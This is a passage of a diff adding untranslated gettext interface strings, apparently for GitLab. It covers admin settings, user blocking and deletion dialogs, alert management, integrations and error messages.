+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "AdminProjects|Delete"
+msgstr ""
+
+msgid "AdminProjects|Delete Project %{projectName}?"
+msgstr ""
+
+msgid "AdminSettings|Apply integration settings to all Projects"
+msgstr ""
+
+msgid "AdminSettings|Auto DevOps domain"
+msgstr ""
+
+msgid "AdminSettings|Disable feed token"
+msgstr ""
+
+msgid "AdminSettings|Enable shared runners for new projects"
+msgstr ""
+
+msgid "AdminSettings|Environment variables are protected by default"
+msgstr ""
+
+msgid "AdminSettings|Feed token"
+msgstr ""
+
+msgid "AdminSettings|Go to General Settings"
+msgstr ""
+
+msgid "AdminSettings|Integrations configured here will automatically apply to all projects on this instance."
+msgstr ""
+
+msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
+msgstr ""
+
+msgid "AdminSettings|Maximum duration of a session for Git operations when 2FA is enabled."
+msgstr ""
+
+msgid "AdminSettings|Moved to integrations"
+msgstr ""
+
+msgid "AdminSettings|No required pipeline"
+msgstr ""
+
+msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
+msgstr ""
+
+msgid "AdminSettings|Required pipeline configuration"
+msgstr ""
+
+msgid "AdminSettings|Select a pipeline configuration file"
+msgstr ""
+
+msgid "AdminSettings|Select a template"
+msgstr ""
+
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
+msgid "AdminSettings|Service template allows you to set default values for integrations"
+msgstr ""
+
+msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
+msgstr ""
+
+msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgstr ""
+
+msgid "AdminSettings|Some settings have moved"
+msgstr ""
+
+msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
+msgstr ""
+
+msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
+msgstr ""
+
+msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
+msgstr ""
+
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
+msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgstr ""
+
+msgid "AdminStatistics|Active Users"
+msgstr ""
+
+msgid "AdminStatistics|Forks"
+msgstr ""
+
+msgid "AdminStatistics|Issues"
+msgstr ""
+
+msgid "AdminStatistics|Merge Requests"
+msgstr ""
+
+msgid "AdminStatistics|Milestones"
+msgstr ""
+
+msgid "AdminStatistics|Notes"
+msgstr ""
+
+msgid "AdminStatistics|SSH Keys"
+msgstr ""
+
+msgid "AdminStatistics|Snippets"
+msgstr ""
+
+msgid "AdminUsers|(Admin)"
+msgstr ""
+
+msgid "AdminUsers|(Blocked)"
+msgstr ""
+
+msgid "AdminUsers|(Deactivated)"
+msgstr ""
+
+msgid "AdminUsers|(Internal)"
+msgstr ""
+
+msgid "AdminUsers|(Pending approval)"
+msgstr ""
+
+msgid "AdminUsers|2FA Disabled"
+msgstr ""
+
+msgid "AdminUsers|2FA Enabled"
+msgstr ""
+
+msgid "AdminUsers|Access"
+msgstr ""
+
+msgid "AdminUsers|Access Git repositories"
+msgstr ""
+
+msgid "AdminUsers|Access the API"
+msgstr ""
+
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Active"
+msgstr ""
+
+msgid "AdminUsers|Adjust the user cap setting on your instance"
+msgstr ""
+
+msgid "AdminUsers|Admin"
+msgstr ""
+
+msgid "AdminUsers|Administrators have access to all groups, projects and users and can manage all features in this installation"
+msgstr ""
+
+msgid "AdminUsers|Admins"
+msgstr ""
+
+msgid "AdminUsers|Approve"
+msgstr ""
+
+msgid "AdminUsers|Approve user"
+msgstr ""
+
+msgid "AdminUsers|Approved users can:"
+msgstr ""
+
+msgid "AdminUsers|Are you sure?"
+msgstr ""
+
+msgid "AdminUsers|Automatically marked as default internal user"
+msgstr ""
+
+msgid "AdminUsers|Be added to groups and projects"
+msgstr ""
+
+msgid "AdminUsers|Block"
+msgstr ""
+
+msgid "AdminUsers|Block this user"
+msgstr ""
+
+msgid "AdminUsers|Block user"
+msgstr ""
+
+msgid "AdminUsers|Block user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Blocked"
+msgstr ""
+
+msgid "AdminUsers|Blocking user has the following effects:"
+msgstr ""
+
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
+msgid "AdminUsers|Cannot unblock LDAP blocked users"
+msgstr ""
+
+msgid "AdminUsers|Cohorts"
+msgstr ""
+
+msgid "AdminUsers|Deactivate"
+msgstr ""
+
+msgid "AdminUsers|Deactivate user"
+msgstr ""
+
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Deactivated"
+msgstr ""
+
+msgid "AdminUsers|Deactivating a user has the following effects:"
+msgstr ""
+
+msgid "AdminUsers|Delete User %{username} and contributions?"
+msgstr ""
+
+msgid "AdminUsers|Delete User %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Delete user"
+msgstr ""
+
+msgid "AdminUsers|Delete user and contributions"
+msgstr ""
+
+msgid "AdminUsers|Export permissions as CSV"
+msgstr ""
+
+msgid "AdminUsers|External"
+msgstr ""
+
+msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
+msgstr ""
+
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
+msgid "AdminUsers|Here are some helpful links to help you manage your instance:"
+msgstr ""
+
+msgid "AdminUsers|If you have any questions about this process please consult our %{doc_link} or %{support_link}."
+msgstr ""
+
+msgid "AdminUsers|Important information about usage on your GitLab instance"
+msgstr ""
+
+msgid "AdminUsers|Is using seat"
+msgstr ""
+
+msgid "AdminUsers|It's you!"
+msgstr ""
+
+msgid "AdminUsers|Log in"
+msgstr ""
+
+msgid "AdminUsers|Manage (accept/reject) pending user sign ups"
+msgstr ""
+
+msgid "AdminUsers|New user"
+msgstr ""
+
+msgid "AdminUsers|No users found"
+msgstr ""
+
+msgid "AdminUsers|Owned groups will be left"
+msgstr ""
+
+msgid "AdminUsers|Pending approval"
+msgstr ""
+
+msgid "AdminUsers|Personal projects will be left"
+msgstr ""
+
+msgid "AdminUsers|Personal projects, group and user history will be left intact"
+msgstr ""
+
+msgid "AdminUsers|Reactivating a user will:"
+msgstr ""
+
+msgid "AdminUsers|Regular"
+msgstr ""
+
+msgid "AdminUsers|Regular users have access to their groups and projects"
+msgstr ""
+
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
+msgid "AdminUsers|Restore user access to the account, including web, Git and API."
+msgstr ""
+
+msgid "AdminUsers|Search by name, email or username"
+msgstr ""
+
+msgid "AdminUsers|Search users"
+msgstr ""
+
+msgid "AdminUsers|Send email to users"
+msgstr ""
+
+msgid "AdminUsers|Sort by"
+msgstr ""
+
+msgid "AdminUsers|The user will be logged out"
+msgstr ""
+
+msgid "AdminUsers|The user will not be able to access git repositories"
+msgstr ""
+
+msgid "AdminUsers|The user will not be able to access the API"
+msgstr ""
+
+msgid "AdminUsers|The user will not be able to use slash commands"
+msgstr ""
+
+msgid "AdminUsers|The user will not receive any notifications"
+msgstr ""
+
+msgid "AdminUsers|This user has requested access"
+msgstr ""
+
+msgid "AdminUsers|To confirm, type %{projectName}"
+msgstr ""
+
+msgid "AdminUsers|To confirm, type %{username}"
+msgstr ""
+
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unlock"
+msgstr ""
+
+msgid "AdminUsers|Unlock user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|User will not be able to access git repositories"
+msgstr ""
+
+msgid "AdminUsers|User will not be able to login"
+msgstr ""
+
+msgid "AdminUsers|Users"
+msgstr ""
+
+msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
+msgstr ""
+
+msgid "AdminUsers|View pending member requests"
+msgstr ""
+
+msgid "AdminUsers|What can I do?"
+msgstr ""
+
+msgid "AdminUsers|What does this mean?"
+msgstr ""
+
+msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
+msgstr ""
+
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
+msgid "AdminUsers|Without projects"
+msgstr ""
+
+msgid "AdminUsers|You are about to permanently delete the user %{username}. Issues, merge requests, and groups linked to them will be transferred to a system-wide \"Ghost-user\". To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
+msgid "AdminUsers|You can always unblock their account, their data will remain intact."
+msgstr ""
+
+msgid "AdminUsers|You cannot remove your own admin rights."
+msgstr ""
+
+msgid "AdminUsers|You must transfer ownership or delete the groups owned by this user before you can delete their account"
+msgstr ""
+
+msgid "AdminUsers|Your GitLab instance has reached the maximum allowed %{user_doc_link} set by an instance admin."
+msgstr ""
+
+msgid "AdminUsers|approve them"
+msgstr ""
+
+msgid "AdminUsers|contact our support team"
+msgstr ""
+
+msgid "AdminUsers|docs"
+msgstr ""
+
+msgid "AdminUsers|user cap"
+msgstr ""
+
+msgid "Administration"
+msgstr ""
+
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
+msgstr ""
+
+msgid "Advanced"
+msgstr ""
+
+msgid "Advanced Search"
+msgstr ""
+
+msgid "Advanced Search with Elasticsearch"
+msgstr ""
+
+msgid "Advanced Settings"
+msgstr ""
+
+msgid "Advanced export options"
+msgstr ""
+
+msgid "Advanced permissions, Large File Storage and Two-Factor authentication settings."
+msgstr ""
+
+msgid "After a successful password update you will be redirected to login screen."
+msgstr ""
+
+msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
+msgstr ""
+
+msgid "After sign-out path"
+msgstr ""
+
+msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgstr ""
+
+msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgstr ""
+
+msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgstr ""
+
+msgid "Alert"
+msgid_plural "Alerts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Alert integrations"
+msgstr ""
+
+msgid "AlertManagement|Acknowledged"
+msgstr ""
+
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
+msgid "AlertManagement|Alert"
+msgstr ""
+
+msgid "AlertManagement|Alert assignee(s): %{assignees}"
+msgstr ""
+
+msgid "AlertManagement|Alert detail"
+msgstr ""
+
+msgid "AlertManagement|Alert details"
+msgstr ""
+
+msgid "AlertManagement|Alert status: %{status}"
+msgstr ""
+
+msgid "AlertManagement|Alerts"
+msgstr ""
+
+msgid "AlertManagement|All alerts"
+msgstr ""
+
+msgid "AlertManagement|Assign status"
+msgstr ""
+
+msgid "AlertManagement|Assignees"
+msgstr ""
+
+msgid "AlertManagement|Authorize external service"
+msgstr ""
+
+msgid "AlertManagement|Create incident"
+msgstr ""
+
+msgid "AlertManagement|Display alerts from all your monitoring tools directly within GitLab. Streamline the investigation of your alerts and the escalation of alerts to incidents."
+msgstr ""
+
+msgid "AlertManagement|Edit"
+msgstr ""
+
+msgid "AlertManagement|Environment"
+msgstr ""
+
+msgid "AlertManagement|Events"
+msgstr ""
+
+msgid "AlertManagement|Incident"
+msgstr ""
+
+msgid "AlertManagement|Key"
+msgstr ""
+
+msgid "AlertManagement|Metrics"
+msgstr ""
+
+msgid "AlertManagement|Metrics weren't available in the alerts payload."
+msgstr ""
+
+msgid "AlertManagement|More information"
+msgstr ""
+
+msgid "AlertManagement|No alert data to display."
+msgstr ""
+
+msgid "AlertManagement|No alerts available to display. See %{linkStart}enabling alert management%{linkEnd} for more information on adding alerts to the list."
+msgstr ""
+
+msgid "AlertManagement|No alerts to display."
+msgstr ""
+
+msgid "AlertManagement|None"
+msgstr ""
+
+msgid "AlertManagement|Open"
+msgstr ""
+
+msgid "AlertManagement|Please try again."
+msgstr ""
+
+msgid "AlertManagement|Reported %{when}"
+msgstr ""
+
+msgid "AlertManagement|Reported %{when} by %{tool}"
+msgstr ""
+
+msgid "AlertManagement|Resolved"
+msgstr ""
+
+msgid "AlertManagement|Runbook"
+msgstr ""
+
+msgid "AlertManagement|Service"
+msgstr ""
+
+msgid "AlertManagement|Severity"
+msgstr ""
+
+msgid "AlertManagement|Start time"
+msgstr ""
+
+msgid "AlertManagement|Status"
+msgstr ""
+
+msgid "AlertManagement|Surface alerts in GitLab"
+msgstr ""
+
+msgid "AlertManagement|There was an error displaying the alert. Please refresh the page to try again."
+msgstr ""
+
+msgid "AlertManagement|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the assignee(s) list. Please try again."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the assignee(s) of the alert. Please try again."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the status of the alert."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the to-do item of the alert."
+msgstr ""
+
+msgid "AlertManagement|This assignee cannot be assigned to this alert."
+msgstr ""
+
+msgid "AlertManagement|Tool"
+msgstr ""
+
+msgid "AlertManagement|Triggered"
+msgstr ""
+
+msgid "AlertManagement|Value"
+msgstr ""
+
+msgid "AlertManagement|View incident"
+msgstr ""
+
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
+msgid "AlertSettings|Add new integration"
+msgstr ""
+
+msgid "AlertSettings|Authorization key"
+msgstr ""
+
+msgid "AlertSettings|Configure details"
+msgstr ""
+
+msgid "AlertSettings|Customize alert payload mapping (optional)"
+msgstr ""
+
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
+msgid "AlertSettings|Enable integration"
+msgstr ""
+
+msgid "AlertSettings|Enter integration name"
+msgstr ""
+
+msgid "AlertSettings|HTTP Endpoint"
+msgstr ""
+
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
+msgstr ""
+
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
+msgid "AlertSettings|Name integration"
+msgstr ""
+
+msgid "AlertSettings|Parse payload fields"
+msgstr ""
+
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
+msgstr ""
+
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
+msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
+msgstr ""
+
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save & create test alert"
+msgstr ""
+
+msgid "AlertSettings|Save integration"
+msgstr ""
+
+msgid "AlertSettings|Save integration & send"
+msgstr ""
+
+msgid "AlertSettings|Select integration type"
+msgstr ""
+
+msgid "AlertSettings|Send test alert"
+msgstr ""
+
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
+msgid "AlertSettings|URL cannot be blank and must start with http or https"
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
+msgid "AlertSettings|View credentials"
+msgstr ""
+
+msgid "AlertSettings|Webhook URL"
+msgstr ""
+
+msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
+msgstr ""
+
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
+msgid "Alerts"
+msgstr ""
+
+msgid "AlertsIntegrations|Alerts will be created through this integration"
+msgstr ""
+
+msgid "AlertsIntegrations|Alerts will not be created through this integration"
+msgstr ""
+
+msgid "AlertsIntegrations|Current integrations"
+msgstr ""
+
+msgid "AlertsIntegrations|Integration Name"
+msgstr ""
+
+msgid "AlertsIntegrations|Integration payload is invalid."
+msgstr ""
+
+msgid "AlertsIntegrations|No integrations have been added yet"
+msgstr ""
+
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
+msgstr ""
+
+msgid "Algorithm"
+msgstr ""
+
+msgid "All"
+msgstr ""
+
+msgid "All %{replicableType} are being scheduled for %{action}"
+msgstr ""
+
+msgid "All (default)"
+msgstr ""
+
+msgid "All Members"
+msgstr ""
+
+msgid "All branches"
+msgstr ""
+
+msgid "All changes are committed"
+msgstr ""
+
+msgid "All email addresses will be used to identify your commits."
+msgstr ""
+
+msgid "All environments"
+msgstr ""
+
+msgid "All epics"
+msgstr ""
+
+msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
+msgstr ""
+
+msgid "All groups and projects"
+msgstr ""
+
+msgid "All issues for this milestone are closed."
+msgstr ""
+
+msgid "All issues for this milestone are closed. You may close this milestone now."
+msgstr ""
+
+msgid "All merge conflicts were resolved. The merge request can now be merged."
+msgstr ""
+
+msgid "All merge request dependencies have been merged"
+msgstr ""
+
+msgid "All paths are relative to the GitLab URL. Do not include %{relative_url_link_start}relative URL%{relative_url_link_end}."
+msgstr ""
+
+msgid "All projects"
+msgstr ""
+
+msgid "All projects selected"
+msgstr ""
+
+msgid "All threads resolved"
+msgstr ""
+
+msgid "All users must have a name."
+msgstr ""
+
+msgid "Allow \"%{group_name}\" to sign you in"
+msgstr ""
+
+msgid "Allow access to the following IP addresses"
+msgstr ""
+
+msgid "Allow commits from members who can merge to the target branch."
+msgstr ""
+
+msgid "Allow group owners to manage LDAP-related settings"
+msgstr ""
+
+msgid "Allow only the selected protocols to be used for Git access."
+msgstr ""
+
+msgid "Allow owners to manage default branch protection per group"
+msgstr ""
+
+msgid "Allow owners to manually add users outside of LDAP"
+msgstr ""
+
+msgid "Allow projects and subgroups to override the group setting"
+msgstr ""
+
+msgid "Allow projects within this group to use Git LFS"
+msgstr ""
+
+msgid "Allow public access to pipelines and job details, including output logs and artifacts."
+msgstr ""
+
+msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
+msgstr ""
+
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
+msgid "Allow repository mirroring to be configured by project maintainers"
+msgstr ""
+
+msgid "Allow requests to the local network from hooks and services."
+msgstr ""
+
+msgid "Allow requests to the local network from system hooks"
+msgstr ""
+
+msgid "Allow requests to the local network from web hooks and services"
+msgstr ""
+
+msgid "Allow subgroups to set up their own two-factor authentication rules"
+msgstr ""
+
+msgid "Allow this key to push to this repository"
+msgstr ""
+
+msgid "Allow this secondary node to replicate content on Object Storage"
+msgstr ""
+
+msgid "Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "Allow users to register any application to use GitLab as an OAuth provider"
+msgstr ""
+
+msgid "Allow users to request access (if visibility is public or internal)"
+msgstr ""
+
+msgid "Allowed"
+msgstr ""
+
+msgid "Allowed Geo IP"
+msgstr ""
+
+msgid "Allowed domains for sign-ups"
+msgstr ""
+
+msgid "Allowed email domain restriction only permitted for top-level groups"
+msgstr ""
+
+msgid "Allowed group"
+msgstr ""
+
+msgid "Allowed to create:"
+msgstr ""
+
+msgid "Allowed to fail"
+msgstr ""
+
+msgid "Allows projects or subgroups in this group to override the global setting."
+msgstr ""
+
+msgid "Allows you to add and manage Kubernetes clusters."
+msgstr ""
+
+msgid "Almost there"
+msgstr ""
+
+msgid "Almost there..."
+msgstr ""
+
+msgid "Already blocked"
+msgstr ""
+
+msgid "Also called \"Issuer\" or \"Relying party trust identifier\""
+msgstr ""
+
+msgid "Also called \"Relying party service URL\" or \"Reply URL\""
+msgstr ""
+
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
+msgid "Also unassign this user from related issues and merge requests"
+msgstr ""
+
+msgid "Alternate support URL for help page and help dropdown"
+msgstr ""
+
+msgid "Alternatively, you can convert your account to a managed account by the %{group_name} group."
+msgstr ""
+
+msgid "Amazon EKS"
+msgstr ""
+
+msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
+msgstr ""
+
+msgid "Amazon Web Services"
+msgstr ""
+
+msgid "Amazon Web Services Logo"
+msgstr ""
+
+msgid "Amazon authentication is not %{link_start}correctly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
+msgstr ""
+
+msgid "Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication"
+msgstr ""
+
+msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
+msgstr ""
+
+msgid "An Enterprise User GitLab account has been created for you by your organization:"
+msgstr ""
+
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
+msgid "An alert has been resolved in %{project_path}."
+msgstr ""
+
+msgid "An alert has been triggered in %{project_path}."
+msgstr ""
+
+msgid "An application called %{link_to_client} is requesting access to your GitLab account."
+msgstr ""
+
+msgid "An email notification was recently sent from the admin panel. Please wait %{wait_time_in_words} before attempting to send another message."
+msgstr ""
+
+msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
+msgstr ""
+
+msgid "An empty index will be created if one does not already exist"
+msgstr ""
+
+msgid "An error has occurred"
+msgstr ""
+
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
+msgid "An error occurred adding a draft to the thread."
+msgstr ""
+
+msgid "An error occurred adding a new draft."
+msgstr ""
+
+msgid "An error occurred creating the new branch."
+msgstr ""
+
+msgid "An error occurred fetching the approval rules."
+msgstr ""
+
+msgid "An error occurred fetching the approvers for the new rule."
+msgstr ""
+
+msgid "An error occurred fetching the dropdown data."
+msgstr ""
+
+msgid "An error occurred fetching the project authors."
+msgstr ""
+
+msgid "An error occurred previewing the blob"
+msgstr ""
+
+msgid "An error occurred when removing the label."
+msgstr ""
+
+msgid "An error occurred when toggling the notification subscription"
+msgstr ""
+
+msgid "An error occurred when updating the issue due date"
+msgstr ""
+
+msgid "An error occurred when updating the issue title"
+msgstr ""
+
+msgid "An error occurred when updating the issue weight"
+msgstr ""
+
+msgid "An error occurred while acknowledging the notification. Refresh the page and try again."
+msgstr ""
+
+msgid "An error occurred while adding approvers"
+msgstr ""
+
+msgid "An error occurred while adding formatted title for epic"
+msgstr ""
+
+msgid "An error occurred while authorizing your role"
+msgstr ""
+
+msgid "An error occurred while checking group path. Please refresh and try again."
+msgstr ""
+
+msgid "An error occurred while decoding the file."
+msgstr ""
+
+msgid "An error occurred while deleting the approvers group"
+msgstr ""
+
+msgid "An error occurred while deleting the comment"
+msgstr ""
+
+msgid "An error occurred while deleting the pipeline."
+msgstr ""
+
+msgid "An error occurred while detecting host keys"
+msgstr ""
+
+msgid "An error occurred while disabling Service Desk."
+msgstr ""
+
+msgid "An error occurred while dismissing the alert. Refresh the page and try again."
+msgstr ""
+
+msgid "An error occurred while dismissing the feature highlight. Refresh the page and try dismissing again."
+msgstr ""
+
+msgid "An error occurred while drawing job relationship links."
+msgstr ""
+
+msgid "An error occurred while enabling Service Desk."
+msgstr ""
+
+msgid "An error occurred while fetching branches. Retry the search."
+msgstr ""
+
+msgid "An error occurred while fetching codequality mr diff reports."
+msgstr ""
+
+msgid "An error occurred while fetching commits. Retry the search."
+msgstr ""
+
+msgid "An error occurred while fetching coverage reports."
+msgstr ""
+
+msgid "An error occurred while fetching environments."
+msgstr ""
+
+msgid "An error occurred while fetching exposed artifacts."
+msgstr ""
+
+msgid "An error occurred while fetching folder content."
+msgstr ""
+
+msgid "An error occurred while fetching issues."
+msgstr ""
+
+msgid "An error occurred while fetching label colors."
+msgstr ""
+
+msgid "An error occurred while fetching markdown preview"
+msgstr ""
+
+msgid "An error occurred while fetching participants."
+msgstr ""
+
+msgid "An error occurred while fetching pending comments"
+msgstr ""
+
+msgid "An error occurred while fetching projects autocomplete."
+msgstr ""
+
+msgid "An error occurred while fetching reference"
+msgstr ""
+
+msgid "An error occurred while fetching sidebar data"
+msgstr ""
+
+msgid "An error occurred while fetching tags. Retry the search."
+msgstr ""
+
+msgid "An error occurred while fetching terraform reports."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please try again."
+msgstr ""
+
+msgid "An error occurred while fetching the job log."
+msgstr ""
+
+msgid "An error occurred while fetching the job logs."
+msgstr ""
+
+msgid "An error occurred while fetching the job."
+msgstr ""
+
+msgid "An error occurred while fetching the jobs."
+msgstr ""
+
+msgid "An error occurred while fetching the latest pipeline."
+msgstr ""
+
+msgid "An error occurred while fetching the pipeline."
+msgstr ""
+
+msgid "An error occurred while fetching the releases. Please try again."
+msgstr ""
+
+msgid "An error occurred while fetching this tab."
+msgstr ""
+
+msgid "An error occurred while generating a username. Please try again."
+msgstr ""
+
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
+msgid "An error occurred while getting files for - %{branchId}"
+msgstr ""
+
+msgid "An error occurred while getting projects"
+msgstr ""
+
+msgid "An error occurred while initializing path locks"
+msgstr ""
+
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
+msgid "An error occurred while loading all the files."
+msgstr ""
+
+msgid "An error occurred while loading chart data"
+msgstr ""
+
+msgid "An error occurred while loading commit signatures"
+msgstr ""
+
+msgid "An error occurred while loading designs. Please try again."
+msgstr ""
+
+msgid "An error occurred while loading diff"
+msgstr ""
+
+msgid "An error occurred while loading filenames"
+msgstr ""
+
+msgid "An error occurred while loading group members."
+msgstr ""
+
+msgid "An error occurred while loading issues"
